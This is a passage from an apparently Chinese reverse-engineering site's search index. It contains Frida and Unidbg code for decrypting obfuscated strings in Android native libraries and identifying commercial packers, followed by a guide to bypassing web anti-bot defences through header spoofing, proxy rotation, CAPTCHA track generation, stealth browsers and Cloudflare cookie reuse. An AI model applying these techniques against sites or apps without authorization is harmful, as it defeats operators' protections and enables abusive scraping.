","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:7:0","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#对抗策略五unidbg-模拟执行"},{"categories":null,"collections":null,"content":"Unidbg 解密框架 import com.github.unidbg.AndroidEmulator; import com.github.unidbg.linux.android.AndroidEmulatorBuilder; import com.github.unidbg.linux.android.dvm.*; import com.github.unidbg.Module; import com.github.unidbg.pointer.UnidbgPointer; import com.sun.jna.Pointer; public class StringDecryptor extends AbstractJni { private final AndroidEmulator emulator; private final VM vm; private final Module module; // 解密函数的偏移地址 private static final long DECRYPT_FUNC_OFFSET = 0x1234; public StringDecryptor() { // 创建模拟器 emulator = AndroidEmulatorBuilder .for32Bit() .setProcessName(\"com.example.app\") .build(); // 创建 Dalvik VM vm = emulator.createDalvikVM(); vm.setJni(this); vm.setVerbose(false); // 加载 SO 文件 DalvikModule dm = vm.loadLibrary(\"native-lib\", true); module = dm.getModule(); // 调用 JNI_OnLoad dm.callJNI_OnLoad(emulator); } /** * 调用 Native 解密函数 * @param encryptedData 加密的数据 * @return 解密后的字符串 */ public String decrypt(byte[] encryptedData) { // 分配内存存放加密数据 UnidbgPointer inputPtr = emulator.getMemory().malloc(encryptedData.length, false).getPointer(); inputPtr.write(0, encryptedData, 0, encryptedData.length); // 分配输出缓冲区 UnidbgPointer outputPtr = emulator.getMemory().malloc(encryptedData.length, false).getPointer(); // 调用解密函数 // 假设函数签名: void decrypt(char* input, int len, char* output) long funcAddr = module.base + DECRYPT_FUNC_OFFSET; Number result = module.callFunction( emulator, funcAddr, inputPtr, encryptedData.length, outputPtr ); // 读取解密结果 String decrypted = outputPtr.getString(0); return decrypted; } /** * 批量解密 */ public void decryptAll(byte[][] encryptedStrings) { for (int i = 0; i \u003c encryptedStrings.length; i++) { String result = decrypt(encryptedStrings[i]); System.out.printf(\"[%d] %s%n\", i, result); } } public static void main(String[] args) { StringDecryptor decryptor = new StringDecryptor(); // 从 IDA 中提取的加密字符串 byte[][] encrypted = { {0x5A, 0x3C, 0x7B, 0x2E, 0x00}, // 示例数据 {0x1F, 0x2E, 0x3D, 0x4C, 0x00}, }; decryptor.decryptAll(encrypted); } } ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:7:1","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#unidbg-解密框架"},{"categories":null,"collections":null,"content":"Unidbg + Frida 联动 先用 Frida 收集加密字符串，再用 Unidbg 批量解密： # 步骤 1: Frida 脚本收集加密数据 frida_script = \"\"\" var encryptedStrings = []; Interceptor.attach(Module.findBaseAddress(\"libnative.so\").add(0x1234), { onEnter: function(args) { var ptr = args[0]; var len = args[1].toInt32(); var data = ptr.readByteArray(len); encryptedStrings.push({ address: ptr, data: Array.from(new Uint8Array(data)) }); } }); // 导出收集的数据 rpc.exports = { getEncryptedStrings: function() { return encryptedStrings; } }; \"\"\" # 步骤 2: 将收集的数据传给 Unidbg 解密 # (见上面的 Java 代码) ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:7:2","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#unidbg--frida-联动"},{"categories":null,"collections":null,"content":"对抗策略六：常见混淆库识别 了解常见的混淆库及其特征，可以加速分析过程。 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:8:0","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#对抗策略六常见混淆库识别"},{"categories":null,"collections":null,"content":"常见混淆库特征 混淆库 识别特征 解密方法 字节跳动 SDK 函数名含 _ss_，字符串表在 .data 段末尾 Hook ss_decrypt 系列函数 腾讯乐固 libshell*.so，classes.dex 加密 需要先脱壳，再分析字符串 360 加固 libjiagu.so，自定义 linker 等待解密后 dump 内存 网易易盾 libNetHTProtect.so Hook 初始化后的字符串访问 梆梆加固 libDexHelper.so，多层解密 逐层分析，可能需要多次 dump ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:8:1","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#常见混淆库特征"},{"categories":null,"collections":null,"content":"快速识别脚本 # Frida 脚本：识别常见加固/混淆 var signatures = { \"字节跳动\": [\"_ss_\", \"libsscronet.so\"], \"腾讯乐固\": [\"libshell\", \"libBugly\"], \"360加固\": [\"libjiagu\", \"lib360\"], \"网易易盾\": [\"libNetHTProtect\", \"libnesec\"], \"梆梆加固\": [\"libDexHelper\", \"libSecShell\"] }; function identifyProtection() { var modules = Process.enumerateModules(); for (var sdk in signatures) { var patterns = signatures[sdk]; for (var i = 0; i \u003c modules.length; i++) { for (var j = 0; j \u003c patterns.length; j++) { if (modules[i].name.indexOf(patterns[j]) !== -1) { console.log(\"[!] 检测到: \" + sdk); console.log(\" 模块: \" + modules[i].name); return sdk; } } } } console.log(\"[*] 未识别到常见加固\"); return null; } identifyProtection(); ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:8:2","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#快速识别脚本"},{"categories":null,"collections":null,"content":"高级技巧与注意事项 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:9:0","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#高级技巧与注意事项"},{"categories":null,"collections":null,"content":"1. 处理动态密钥 有些混淆方案使用动态生成的密钥，例如基于设备 ID、时间戳等： // Frida: Hook 密钥生成函数 Interceptor.attach(Module.findExportByName(\"libnative.so\", \"generateKey\"), { onLeave: function(retval) { console.log(\"[*] 动态密钥: \" + retval.readCString()); // 保存密钥供后续分析 } }); ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:9:1","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#1-处理动态密钥"},{"categories":null,"collections":null,"content":"2. 处理多层加密 当字符串经过多层加密时，需要逐层分析： // Frida: 追踪多层解密 var decryptLayers = []; function hookDecryptLayer(funcAddr, layerName) { Interceptor.attach(funcAddr, { onEnter: function(args) { this.input = args[0].readByteArray(32); }, onLeave: function(retval) { var output = retval.readByteArray(32); decryptLayers.push({ layer: layerName, input: this.input, output: output }); console.log(\"[\" + layerName + \"] \" + hexdump(output)); } }); } // Hook 所有解密层 hookDecryptLayer(base.add(0x1000), \"Base64Decode\"); hookDecryptLayer(base.add(0x2000), \"XORDecrypt\"); hookDecryptLayer(base.add(0x3000), \"AESDecrypt\"); ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:9:2","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#2-处理多层加密"},{"categories":null,"collections":null,"content":"3. 内存 Dump 时机 对于在 JNI_OnLoad 或 .init_array 中解密字符串的情况： // 在 SO 加载完成后立即 dump Interceptor.attach(Module.findExportByName(null, \"android_dlopen_ext\"), { onLeave: function(retval) { var module = Process.findModuleByName(\"libtarget.so\"); if (module) { // 此时字符串可能已解密到内存 console.log(\"[*] SO 已加载，开始 dump\"); dumpDecryptedStrings(module); } } }); ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:9:3","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#3-内存-dump-时机"},{"categories":null,"collections":null,"content":"总结：最高效的分析流程 对于字符串混淆，推荐以下工作流程： ┌─────────────────────────────────────────────────────────────────┐ │ 1. 快速识别 │ │ └─ 使用识别脚本判断是否为已知加固/混淆库 │ ├─────────────────────────────────────────────────────────────────┤ │ 2. 静态分析定位 │ │ ├─ IDA/Ghidra 搜索高交叉引用 + XOR 特征的函数 │ │ └─ 识别解密函数签名和调用约定 │ ├─────────────────────────────────────────────────────────────────┤ │ 3. 动态验证 │ │ ├─ Frida Hook 解密函数，确认算法正确性 │ │ └─ 收集加密数据样本和解密结果 │ ├─────────────────────────────────────────────────────────────────┤ │ 4. 选择解密方案 │ │ ├─ 简单算法 → IDA/Ghidra 脚本批量解密并注释 │ │ ├─ 复杂算法 → Unidbg 模拟执行 │ │ └─ 实时需求 → Frida 持续 Hook │ ├─────────────────────────────────────────────────────────────────┤ │ 5. 输出结果 │ │ ├─ IDB/Ghidra 项目带完整注释 │ │ ├─ 解密字符串映射表 (地址 → 明文) │ │ └─ 可复用的解密脚本/工具 │ └─────────────────────────────────────────────────────────────────┘ ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:10:0","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#总结最高效的分析流程"},{"categories":null,"collections":null,"content":"工具选择建议 场景 推荐工具 理由 快速获取明文 Frida Hook 最快，无需理解算法 离线批量分析 IDA Python 脚本 可保存带注释的项目 复杂/未知算法 Unidbg 直接调用原函数，100% 正确 需要修改二进制 Ghidra + Patch 可导出修改后的 SO 研究算法细节 IDA + 手动分析 理解完整逻辑 ","date":"2025-01-19","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/:10:1","tags":["Native层","签名验证","Frida","Ghidra","DEX","加固"],"title":"SO 文件字符串混淆对抗指南","uri":"/reverse_engineering/android/01-recipes/unpacking/so_string_deobfuscation/#工具选择建议"},{"categories":null,"collections":null,"content":"Web 反爬虫技术 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： TLS 指纹技术 - 理解 JA3/JA4 指纹检测 验证码绕过技术 - 滑块与点选验证码 网络爬虫是自动从网站提取数据的过程。由于这可能被滥用，许多现代网站和服务实施了复杂的反爬虫（或\"反机器人\"）技术来保护其数据。这些技术可大致分为客户端（浏览器）和服务器端防御。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:0:0","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#web-反爬虫技术"},{"categories":null,"collections":null,"content":"1. 反爬虫技术全景 现代反爬虫体系是一个多层次、纵深防御的架构。理解其全貌有助于制定针对性的绕过策略。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:1:0","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#1-反爬虫技术全景"},{"categories":null,"collections":null,"content":"三层防御模型 层次 防御类型 典型技术 难度 客户端层 浏览器环境检测 JS 挑战、Canvas/WebGL 指纹、CAPTCHA、行为分析 ★★★★ 服务器端层 请求特征分析 UA 检测、Header 校验、Cookie/Token 验证、速率限制 ★★★ 网络层 流量与连接分析 TLS 指纹、IP 信誉、HTTP/2 指纹、TCP 指纹 ★★★★★ ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:1:1","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#三层防御模型"},{"categories":null,"collections":null,"content":"技术分类总览 反爬虫技术 ├── 被动检测（静默收集信息） │ ├── 浏览器指纹采集 / 行为轨迹记录 / TLS·HTTP 协议指纹 ├── 主动挑战（要求客户端完成任务） │ ├── JavaScript 计算挑战 / CAPTCHA 验证码 / Proof-of-Work └── 响应策略（检测异常后处理） ├── 直接封禁（403/429）/ 静默降级（返回假数据） └── 蜜罐诱捕 / 延迟响应 关键认识: 现代反爬系统（CloudFlare、Akamai 等）同时部署多层技术并综合评分，而非依赖单一检测手段。绕过时也需要多维度同时处理。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:1:2","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#技术分类总览"},{"categories":null,"collections":null,"content":"2. UA/Header 检测与绕过 HTTP 请求头是服务器端最基础的检测手段。第一道防线就是检查请求头是否\"看起来像\"真实浏览器。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:2:0","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#2-uaheader-检测与绕过"},{"categories":null,"collections":null,"content":"常见检测点 检测项 说明 风险等级 User-Agent 是否为已知爬虫标识（如 python-requests/2.28） 高 Accept-Language 缺失或不合理的语言设置 中 Sec-Ch-Ua Chrome Client Hints，缺失暴露非浏览器环境 高 Referer 直接访问内页而无来源页 中 Header 顺序 不同浏览器的 Header 排列顺序不同 高 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:2:1","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#常见检测点"},{"categories":null,"collections":null,"content":"伪装真实浏览器请求 import requests headers = { \"sec-ch-ua\": '\"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"', \"sec-ch-ua-mobile\": \"?0\", \"sec-ch-ua-platform\": '\"Windows\"', \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 \" \"(KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\", \"Sec-Fetch-Site\": \"none\", \"Sec-Fetch-Mode\": \"navigate\", \"Accept-Encoding\": \"gzip, deflate, br\", \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8\", } resp = requests.get(\"https://example.com\", headers=headers) 对于 Header 顺序和 TLS 指纹检测，可使用 curl_cffi 精确模拟： from curl_cffi import requests as cffi_requests resp = cffi_requests.get(\"https://example.com\", impersonate=\"chrome123\") ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:2:2","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#伪装真实浏览器请求"},{"categories":null,"collections":null,"content":"3. IP 限流与封禁 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:3:0","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#3-ip-限流与封禁"},{"categories":null,"collections":null,"content":"常见限流策略 策略 实现方式 特点 固定窗口 每分钟 N 次请求 简单但有边界突发问题 滑动窗口 动态计算近 N 秒请求数 更精确 令牌桶 固定速率生成令牌 允许短暂突发 IP 信誉评分 综合行为历史打分 最难绕过 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:3:1","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#常见限流策略"},{"categories":null,"collections":null,"content":"IP 类型与被封概率 IP 类型 被封概率 成本 说明 数据中心 IP 极高 低 AWS/GCP 等 IP 段已被广泛标记 住宅代理 IP 低 高 真实 ISP 分配的家庭宽带 IP 移动网络 IP 极低 中 运营商基站 IP，共享用户多 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:3:2","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#ip-类型与被封概率"},{"categories":null,"collections":null,"content":"代理池轮转 import random, time, requests class ProxyRotator: def __init__(self, proxies: list[str]): self.proxies = proxies self.failed = {} def get_proxy(self) -\u003e dict: available = [p for p in self.proxies if self.failed.get(p, 0) \u003c 3] proxy = random.choice(available) return {\"http\": f\"http://{proxy}\", \"https\": f\"http://{proxy}\"} def mark_failed(self, proxy: str): self.failed[proxy] = self.failed.get(proxy, 0) + 1 rotator = ProxyRotator([\"1.2.3.4:8080\", \"5.6.7.8:3128\"]) for url in target_urls: proxy = rotator.get_proxy() try: resp = requests.get(url, proxies=proxy, timeout=10) except Exception: rotator.mark_failed(list(proxy.values())[0]) time.sleep(random.uniform(1.5, 4.0)) # 随机延迟 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:3:3","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#代理池轮转"},{"categories":null,"collections":null,"content":"4. 验证码类型与绕过 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:4:0","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#4-验证码类型与绕过"},{"categories":null,"collections":null,"content":"主流验证码类型 类型 代表产品 绕过难度 图片文字 传统验证码 ★★（OCR/深度学习） 滑块 极验 (GeeTest)、网易易盾 ★★★ 点选 点击文字/图标顺序 ★★★★ reCAPTCHA v2 Google 图像分类 ★★★ reCAPTCHA v3 Google 无感行为评分 ★★★★ hCaptcha Intuition Machines ★★★ Turnstile Cloudflare 无感挑战 ★★★★★ ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:4:1","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#主流验证码类型"},{"categories":null,"collections":null,"content":"滑块验证码：轨迹生成 滑块验证码的核心检测维度是拖拽轨迹真实性，而非仅滑动距离： import random def generate_human_track(distance: int) -\u003e list[dict]: \"\"\"生成仿人类滑动轨迹：先加速后减速 + Y 轴抖动\"\"\" track, current, t, v = [], 0, 0, 0 mid = distance * 0.7 while current \u003c distance: a = random.uniform(2.5, 3.5) if current \u003c mid else random.uniform(-3.0, -1.5) dt = random.uniform(10, 20) v = max(v + a * (dt / 1000), 0.5) current = min(current + v * (dt / 1000) * 100, distance) t += dt track.append({\"x\": round(current, 2), \"y\": round(random.uniform(-2, 2), 2), \"t\": round(t)}) return track ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:4:2","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#滑块验证码轨迹生成"},{"categories":null,"collections":null,"content":"reCAPTCHA v3 评分因素 reCAPTCHA v3 在后台收集信号并给出 0.0（机器人）到 1.0（人类）的评分，主要受以下因素影响：浏览器环境完整性、页面行为轨迹（鼠标/滚动/点击）、Google 登录状态、历史 Cookie。 提示: 第三方打码平台（2Captcha、Anti-Captcha）通过真人或 AI 辅助完成验证并返回 API 结果，是绕过复杂验证码的常见商业方案。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:4:3","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#recaptcha-v3-评分因素"},{"categories":null,"collections":null,"content":"5. JavaScript 指纹检测 浏览器指纹通过收集客户端各种特征值为访问者生成唯一标识，即使清除 Cookie 仍可追踪。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:5:0","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#5-javascript-指纹检测"},{"categories":null,"collections":null,"content":"主要指纹维度 指纹类型 检测方式 信息熵 Canvas 绘制隐藏 Canvas，读取像素 hash 高 WebGL 获取 GPU 渲染器信息 高 AudioContext 生成音频信号采样，不同硬件产生不同波形 中 字体列表 检测系统安装字体 中 Navigator platform, hardwareConcurrency, deviceMemory 低 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:5:1","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#主要指纹维度"},{"categories":null,"collections":null,"content":"无头浏览器检测手段 // 网站端常见检测点 const botSignals = { webdriver: navigator.webdriver === true, noPlugins: navigator.plugins.length === 0, noLanguages: !navigator.languages || navigator.languages.length === 0, noChromeRuntime: !window.chrome || !window.chrome.runtime, automationAPIs: !!(window.__puppeteer_evaluation_script__), }; ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:5:2","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#无头浏览器检测手段"},{"categories":null,"collections":null,"content":"Playwright Stealth 反检测 from playwright.sync_api import sync_playwright from playwright_stealth import stealth_sync with sync_playwright() as p: browser = p.chromium.launch(headless=False) context = browser.new_context( viewport={\"width\": 1920, \"height\": 1080}, locale=\"zh-CN\", timezone_id=\"Asia/Shanghai\", ) page = context.new_page() stealth_sync(page) # 修补 navigator.webdriver 等检测点 page.goto(\"https://bot.sannysoft.com/\") browser.close() ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:5:3","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#playwright-stealth-反检测"},{"categories":null,"collections":null,"content":"Frida 修改 Android WebView 指纹 // Frida 脚本：覆盖 WebView 中的指纹检测点 Java.perform(function () { var WebView = Java.use(\"android.webkit.WebView\"); WebView.loadUrl.overload(\"java.lang.String\").implementation = function (url) { this.evaluateJavascript( `Object.defineProperty(navigator, 'webdriver', {get: () =\u003e false});` + `Object.defineProperty(navigator, 'plugins', {get: () =\u003e [1,2,3,4,5]});`, null ); this.loadUrl.overload(\"java.lang.String\").call(this, url); }; }); ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:5:4","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#frida-修改-android-webview-指纹"},{"categories":null,"collections":null,"content":"6. Cookie/Token 机制 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:6:0","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#6-cookietoken-机制"},{"categories":null,"collections":null,"content":"常见反爬 Cookie Cookie 产品 生成方式 __cf_bm / cf_clearance Cloudflare JS 挑战通过后设置 _abck Akamai Sensor data 提交后获取 __ac_nonce PerimeterX PX 脚本计算后设置 datadome DataDome JS 计算后设置 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:6:1","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#常见反爬-cookie"},{"categories":null,"collections":null,"content":"WAF Token 流程（以 Cloudflare 为例） 客户端 Cloudflare 源站 │── 首次请求 ──────────\u003e│ │ │\u003c── 返回 JS 挑战 ─────│ (HTTP 503 + 混淆 JS) │ │ [执行 JS + 采集指纹]│ │ │── 提交答案 ──────────\u003e│── 验证 ──\u003e │ │\u003c── 302 + Set-Cookie ──│ (cf_clearance) │ │── 携带 Cookie 访问 ──\u003e│── 代理转发 ────────────────\u003e│ │\u003c── 真实内容 ──────────│\u003c── 源站响应 ────────────────│ ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:6:2","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#waf-token-流程以-cloudflare-为例"},{"categories":null,"collections":null,"content":"Cookie 提取与复用 from playwright.sync_api import sync_playwright def extract_cf_cookies(url: str) -\u003e dict: \"\"\"用 Playwright 通过挑战后提取 Cookie，再用 requests 高效请求\"\"\" with sync_playwright() as p: browser = p.chromium.launch(headless=False) page = browser.new_page() page.goto(url) page.wait_for_load_state(\"networkidle\") page.wait_for_timeout(5000) cookies = {c[\"name\"]: c[\"value\"] for c in page.context.cookies()} browser.close() return cookies 注意: cf_clearance 通常绑定 IP + User-Agent，更换后需重新获取。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:6:3","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#cookie-提取与复用"},{"categories":null,"collections":null,"content":"7. 动态渲染页面 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:7:0","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#7-动态渲染页面"},{"categories":null,"collections":null,"content":"SPA/CSR 挑战 渲染方式 说明 爬取难度 SSR HTML 包含完整内容 ★ CSR HTML 为空壳，数据由 JS 渲染 ★★★ SSG 构建时生成完整 HTML ★ ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:7:1","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#spacsr-挑战"},{"categories":null,"collections":null,"content":"方案一：API 优先（推荐） 打开浏览器 DevTools → Network → 筛选 XHR/Fetch 请求 → 找到 JSON API → 直接调用（比渲染快 10-100 倍）。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:7:2","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#方案一api-优先推荐"},{"categories":null,"collections":null,"content":"方案二：Playwright 渲染 from playwright.sync_api import sync_playwright with sync_playwright() as p: page = p.chromium.launch().new_page() page.goto(\"https://example.com/spa\") page.wait_for_selector(\".product-list\", timeout=15000) for _ in range(5): # 处理无限滚动 page.evaluate(\"window.scrollTo(0, document.body.scrollHeight)\") page.wait_for_timeout(1500) html = page.content() ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:7:3","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#方案二playwright-渲染"},{"categories":null,"collections":null,"content":"方案三：拦截网络请求 from playwright.sync_api import sync_playwright api_data = [] def on_response(resp): if \"/api/\" in resp.url and resp.status == 200: try: api_data.append(resp.json()) except: pass with sync_playwright() as p: page = p.chromium.launch().new_page() page.on(\"response\", on_response) page.goto(\"https://example.com/products\") page.wait_for_load_state(\"networkidle\") # api_data 中包含所有拦截到的 JSON 响应 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:7:4","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 反爬虫技术","uri":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/#方案三拦截网络请求"},{"categories":null,"collections":null,"content":"8. 蜜罐与陷阱 蜜罐 (Honeypot) 是网站设置的对人类不可见但爬虫会触发的陷阱。 ","date":"2025-01-03","objectID":"/reverse_engineering/android/01-recipes/automation/web_anti_scraping/:8:0","tags":["浏览器指纹","Canvas指纹","Frida","代理池","自动化","Android"],"title":"Web 